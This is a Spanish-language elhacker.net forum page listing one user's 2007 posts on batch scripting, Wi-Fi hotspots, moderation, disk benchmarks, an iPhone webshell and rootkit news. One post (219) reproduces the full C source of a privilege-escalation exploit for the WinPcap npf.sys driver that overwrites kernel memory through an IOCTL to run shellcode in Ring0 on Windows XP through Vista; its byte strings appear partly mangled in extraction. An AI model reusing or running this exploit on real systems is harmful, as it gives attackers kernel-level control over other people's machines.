elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
13 Octubre 2008, 17:39  



  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ... 90
211  Informática / Tutoriales - Documentación / Re: TUTORIAL PROGRAMACION BAT en: 20 Agosto 2007, 18:51
Se ha creado un subforo para solucionar las dudas de procesos batch.

Podéis acceder a él en:

Subforo de Scripting
http://foro.elhacker.net/index.php/board,64.0.html

212  Comunicaciones / Redes / Re: Buscar Hotspots Wi-fi De Todo El Mundo con Jiwire en: 18 Agosto 2007, 01:00
Lo malo es que solo es para EE.UU. Existe desde hace tiempo otro registro mas amplio de Lycos.

Podéis descargar el cliente Lycos Manager de:

http://wifi.lycos.es/
213  Forums Generales / Foro Libre / Re: Pregunta en: 17 Agosto 2007, 02:03
Aprende a preguntar.
214  Seguridad Informática / Hacking Mobile / Re: [Bluetooth] Avances en sniffing Bluetooth en: 17 Agosto 2007, 01:35
Si se podía en GSM en BT también...¿te lo dije o no? :) Deberíamos incluirlo en WiFiSlax, lo hablamos este finde.
215  Forums Generales / Foro Libre / Re: ¿y dónde quedo la D de bolita? en: 15 Agosto 2007, 03:51
/*INICIO*/
1. Foro != Chat;

2. Tiene infinidad de mensajes en la papelera. QUE PIENSE ANTES DE PUBLICAR Y NO AL REVÉS. (después de reflexionar estos días lo hará ;) Que alguien le muestre las estadísticas de sus mensajes!!!)

3. Porque se hizo una encuesta y en el momento de consultarla había mas de 15 colaboradores de acuerdo en un baneo por lo que se optó por un baneo temporal para que el usuario reflexione sobre su actitud en el foro.

4. Porque los moderadores no deben comerse la cabeza en absoluto con estas tonterías. No nos gusta que nos hagan perder el tiempo :P
/*FIN*/
216  Forums Generales / Noticias / Re: Gmail es facil de hackear en: 09 Agosto 2007, 03:32
Como baja el nivel de algunas charlas de las BlackHat...

Chapó el-brujo Nada que añadir a
http://www.elhacker.net/noticias/elhacker-1186502977.html :)
217  Forums Generales / Noticias / Re: Las olas de calor ponen en peligro los discos duros de los ordenadores en: 15 Julio 2007, 23:17
Quizá os sea útil revisar esto:
Refrigeración para discos duros internos:
https://foro.elhacker.net/index.php/topic,168177.msg794483.html#msg794483
218  Informática / Hardware / Re: Benchmark - Test de velicidad a discos duros en: 15 Julio 2007, 23:04
Panasonic USB 2.0 32GB

De momento creo que no está a la venta en Europa.
219  Seguridad Informática / Bugs y Exploits / 0-day - Escalada de privilegios gracias a WinPcap en: 15 Julio 2007, 15:21
Este exploit ha estado a la venta por 600 € desde el 24 de Abril del 2007.

El fallo está en el driver npf.sys de las librerias de captura de paquetes WinPcap. Está probado y testeado con WinPcap 3.1 y la beta 4.1 Funciona con Windows XP+SP2, 2000 server y workstation, Windows 2003 Server y Windows Vista. Si utilizas RunAs para ejecutar Wireshark por ejemplo, y no descargas manualmente el driver tras utilizarlo; con este exploit puedes cargar y ejecutar código en Ring0. Por lo tanto, tu código se ejecuta en Kernel Mode.

Código:
/*Vulnerability discovered by:

Mario Ballano Bárcena,  mballano[_at_]gmail.com

http://www.48bits.com/

24, April 2007

*/

#define _CRT_SECURE_NO_DEPRECATE

#include <windows.h>
#include <stdio.h>

#define IOCTL_BIOCGSTATS 9031
#define OUT_SIZE 0x10
#define NDRIVERS_LIST 100

enum OSes
{
OS_WXP=1,
OS_W2K,
OS_W2K3,
OS_VISTA
};

#define WXP_DELTA 0xA67FF; // SP2 Fully patched!!
#define W2K_DELTA 0x0;
#define W2K3_DELTA 0x0;
#define WVISTA_DELTA 0x0;

DWORD  g_dwOsVersion        = 0;
LPVOID g_PatchAddress       = NULL;
LPBYTE g_WXP_PATCH_BYTES    = "x80x83xffx2Cx75x2Fx53xE8xE1xA2xF7xFFx89x45xDCx85";
LPBYTE g_W2K_PATCH_BYTES    = "xCCxCCxCC";
LPBYTE g_W2K3_PATCH_BYTES   = "xCCxCCxCC";
LPBYTE g_WVISTA_PATCH_BYTES = "xCCxCCxCC";

typedef BOOL (WINAPI *PENUMDEVICES)(LPVOID*,
DWORD ,
LPDWORD);

typedef DWORD (WINAPI *PGETDEVNAME)(LPVOID ImageBase,
char  *lpBaseName,
DWORD nSize);

typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);

BOOL GetNpfDevice (char *lpNpfDevice)
{
DWORD  cb,lpType;
char  *lpList,*tmp;
HKEY  hkey;
BOOL   bRes = FALSE;

lpList = malloc(0x1000);
memset(lpList,0,0x1000);
cb = 0x1000;

if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\EAPOL\Parameters\General",0,KEY_READ,&hkey) == ERROR_SUCCESS )
{
printf("AQUI");
if ( RegQueryValueExA( hkey,
"InterfaceList",
0,
&lpType,
lpList,
&cb)  == ERROR_SUCCESS )
{
strcpy(lpNpfDevice,"\\.\NPF_");
while(*lpList && *lpList !=''{'') lpList++;
tmp = lpList;
while(*lpList && *(lpList) != ''}'') lpList ++;
*(++lpList) = '''';
strcat(lpNpfDevice,tmp);
bRes = TRUE;
}

}

free(lpList);

if (!bRes)
{
printf("Cannot generate NPF Device Name :-(
");
}

return bRes;

}

LPVOID GetNtosBase (VOID)
{
HANDLE hLib;
PENUMDEVICES pEnumDeviceDrivers;
PGETDEVNAME  pGetDeviceDriverBaseName;
DWORD  lpcbNeeded,i;
LPVOID NtosBase = NULL;
LPVOID *lpImageBases = NULL;
char   lpBaseName[MAX_PATH];

if ( ( hLib = LoadLibraryA("psapi.dll")) &&
( pEnumDeviceDrivers = (PENUMDEVICES) GetProcAddress(hLib,"EnumDeviceDrivers") ) &&
( pGetDeviceDriverBaseName = (PGETDEVNAME) GetProcAddress(hLib,"GetDeviceDriverBaseNameA")) )
{

lpImageBases = malloc( sizeof(LPVOID) * NDRIVERS_LIST );
pEnumDeviceDrivers(lpImageBases,sizeof(LPVOID) * NDRIVERS_LIST,&lpcbNeeded);

if ( (lpcbNeeded / sizeof(LPVOID)) > NDRIVERS_LIST)
{
lpImageBases = realloc(lpImageBases,sizeof(LPVOID) * lpcbNeeded);
pEnumDeviceDrivers(lpImageBases,lpcbNeeded,&lpcbNeeded);
}

for (i = 0; i < (lpcbNeeded / sizeof(LPVOID)) ; i++ )
{
if ( pGetDeviceDriverBaseName(lpImageBases[i],lpBaseName,MAX_PATH) )
{
printf ("%s
",lpBaseName);
if (!strcmp(lpBaseName,"ntoskrnl.exe"))
{
NtosBase = lpImageBases[i];
printf("NTOSKRNL Base found at %#p
",NtosBase);
break;
}
}
}

free(lpImageBases);
}

else
{
printf("Cannot Load psapi exports!
");
}

return NtosBase;
}

DWORD GetOSVersion (VOID)
{
OSVERSIONINFOA  osvi;
DWORD retval = 0;

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);

if ( GetVersionExA(&osvi) )
{
if (osvi.dwMajorVersion == 5)
{
switch(osvi.dwMinorVersion)
{
case 0:
retval = OS_W2K;
break;
case 1:
retval = OS_WXP;
break;
case 2:
retval = OS_W2K3;
break;
}
}

else if (osvi.dwMajorVersion == 6)
{
retval = OS_VISTA;
}
}

g_dwOsVersion = retval;

return retval;
}


DWORD GetNtosDelta (VOID)
{
DWORD retval = 0;

switch(GetOSVersion())
{
case OS_VISTA:
printf("System identified as Windows Vista
");
retval = WVISTA_DELTA;
break;
case OS_W2K:
printf("System identified as Windows 2000
");
retval = W2K_DELTA;
break;
case OS_W2K3:
printf("System identified as Windows 2003
");
retval = W2K3_DELTA;
break;
case OS_WXP:
printf("System identified as Windows XP
");
retval = WXP_DELTA;
break;
default:
printf("Unidentified system!
");
}

return retval;

}

__declspec( naked ) void ShellCode (VOID)
{
// Just debug it, to check code execution ;-)

__asm int 3;

// The patch _should_ be done fastly ... that´s why we use global vars...

switch(g_dwOsVersion)
{
case OS_VISTA:
memcpy( g_PatchAddress, g_WVISTA_PATCH_BYTES,0x10);
break;
case OS_W2K:
memcpy( g_PatchAddress, g_W2K_PATCH_BYTES,0x10);
break;
case OS_WXP:
memcpy( g_PatchAddress, g_WXP_PATCH_BYTES,0x10);
break;
case OS_W2K3:
memcpy( g_PatchAddress,g_W2K3_PATCH_BYTES,0x10);
break;
}

// Go out without raising an exception ;-), indeed this is inside a SEH frame but ... wtf! :-)

__asm
{
mov  eax, [g_PatchAddress]
inc  eax
push eax
ret
}
}



int main(int argc, char **argv)
{
HANDLE       hDevice;
LPVOID lpNtosSwitch;
DWORD cb, delta;
DWORD values[4];
LPVOID lpFakeTable;
PQUERYSYSTEM NtQuerySystemInformation;
char szNpfDevice[100];
BYTE QueryBuffer[0x24];
int i;

NtQuerySystemInformation = (PQUERYSYSTEM) GetProcAddress(GetModuleHandleA("NTDLL.DLL"),"NtQuerySystemInformation");

printf ("Searching for a valid Interface ...
");

if ( GetNpfDevice(szNpfDevice) )
{
printf("NPF Device name generated! : %s
",szNpfDevice);
}

else
{
printf("Cannot found any valid Interface!
");
return 0;
}

if ( lpFakeTable = VirtualAlloc((LPVOID)0x570000,
0x20000,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE) )
{
printf("Memory allocated at %p
",lpFakeTable);

for ( i=0; i < ( 0x20000/sizeof(LPVOID) ); i++)
{
* ( (LPVOID *)lpFakeTable + i) = ShellCode;
}

printf("Memory mapping filled! ...
");

}

else
{
printf("Cannot allocate memory!
");
return 0;
}

if ( (hDevice = CreateFileA(szNpfDevice,
  GENERIC_READ|GENERIC_WRITE,
  0,
  0,
  OPEN_EXISTING,
  0,
  NULL) ) != INVALID_HANDLE_VALUE )
{
printf("Device %s succesfully opened!
", szNpfDevice);

if ( (lpNtosSwitch = GetNtosBase()) && ( delta = GetNtosDelta()) )
{
g_PatchAddress = (LPVOID) ((LPBYTE) lpNtosSwitch + delta );

if ( DeviceIoControl(hDevice,
IOCTL_BIOCGSTATS,
(LPVOID)0,0,
(LPVOID)values,OUT_SIZE,
&cb, 
NULL) )
{
printf("First time reading ... bytes returned %#x
",cb);

for (i = 0;i<4;i++)
{
printf ("OutBuffer[i] = %#x
",values[i]);
}
}

printf("Launching exploit ...
Overwritting NTOSKRNL switch at -> %#p
",g_PatchAddress);


if ( DeviceIoControl(hDevice,
IOCTL_BIOCGSTATS,
(LPVOID)0,0,
(LPVOID)g_PatchAddress,OUT_SIZE,
&cb, 
NULL) )

{
// Dirty trick ..
NtQuerySystemInformation(0x15,QueryBuffer,sizeof(QueryBuffer), NULL);
// Bye bye god mode!
printf("We are back from ring0!
");
}
}
}

else
{
printf("Error: Cannot open device %s
",szNpfDevice);
}
}
220  Comunicaciones / Telefonía Móvil / Re: iPhone Hack en: 03 Julio 2007, 02:41
No, vamos a ver, tu te conectas a tu webshell montada en tu servidor cifrando mediante SSL asegurando ese tramo de la conexión. Después, desde la webshell a tu servidor SSH aseguras el otro tramo cerciorandote de tener una comunicación segura. De esta forma puedes acceder a tu agenda de nºs de teléfono, libreta de direcciones, imágenes, archivos, etc.... de forma segura.
221  Comunicaciones / Telefonía Móvil / iPhone Hack en: 03 Julio 2007, 01:13
El flamante teléfono con la "última tecnología" (de Apple) ya ha sido hackeado. Se ha escrito una webshell en python basada en AjaxTerm http://antony.lesuisse.org/qweb/trac/wiki/AjaxTerm que adjunto con la que podéis montar un servidor web. Podéis utilizar el interprete 2.3 o superior. Para habilitar la webshell se debe ejecutar:

Código:
cd WebShell-0.2.2
 ./ajaxterm.py

Tan solo hay que navegar desde el iPhone hasta http://localhost:8022 para acceder de forma local a la webshell.


Web oficial: http://www-personal.umich.edu/~mressl/webshell/


Los precios del aparato son los siguientes:

  iPhone 4Gb + Plan Básico (2 años) = $499+$(59.99x24) = $1938.76 (1643€)

  iPhone 8Gb + Plan Básico (2 años) = $599+$(59.99x24) = $2038.76 (1728€)

  iPhone 4Gb + Plan Medio (2 años) = $499+$(79.99x24) = $2418.76 (2051€)

  iPhone 8Gb + Plan Medio (2 años) = $599+$(79.99x24) = $2518.76 (2135€)

  iPhone 4Gb + Plan Superior (2 años) = $499+$(99.99x24) = $2898.76 (2458€)

  iPhone 8Gb + Plan Superior (2 años) = $599+$(99.99x24) = $2998.76 (2542€)
222  Forums Generales / Noticias / Re: Rutkowska, retada en: 30 Junio 2007, 00:14
Sacan  noticias de donde no las hay. Hablé con Joanna sobre la posibilidad de detectar el ataque "Blue Pill" hace ya mas de medio año e incluso hice una prueba de concepto para detectar el rootkit Vitriol hace ya 6 meses. Vamos que admitirlo, lo puede admitir cuando quiera, pero ella ya sabe que si se lleva a cabo solo el ataque "Blue Pill" es detectable.

¿Por el detector no pagan tanto, no? ^___^

He modificado el título original porque el original me parece alarmista e inapropiado.
223  Informática / Hardware / Re: Benchmark - Test de velicidad a discos duros en: 29 Junio 2007, 23:23
Pendrive USB 2.0 Trascend JF V30 4GB
224  Informática / Hardware / Re: Benchmark - Test de cálculo del número PI en: 29 Junio 2007, 22:11
Core 2 Duo T7400 @2.16GHz x 2

Creo que en portátiles me llevo el gato al agua  ;D


Pulsé aceptar y quitó el calculo de cada iteración pero bueno :P

Actualizo:


225  Seguridad Informática / Bugs y Exploits / Re: Universal Win32 Local Shellcode en: 26 Junio 2007, 09:23
La pruebo y desensamblo a lo largo de esta semana pero al ser en Kernel32.dll desde cuenta de usuario restringido no la vas a poder utilizar, te lanzará el Error 5  de Windows.

Me alegra verte por aquí Preth00nker  :)
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ... 90






Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC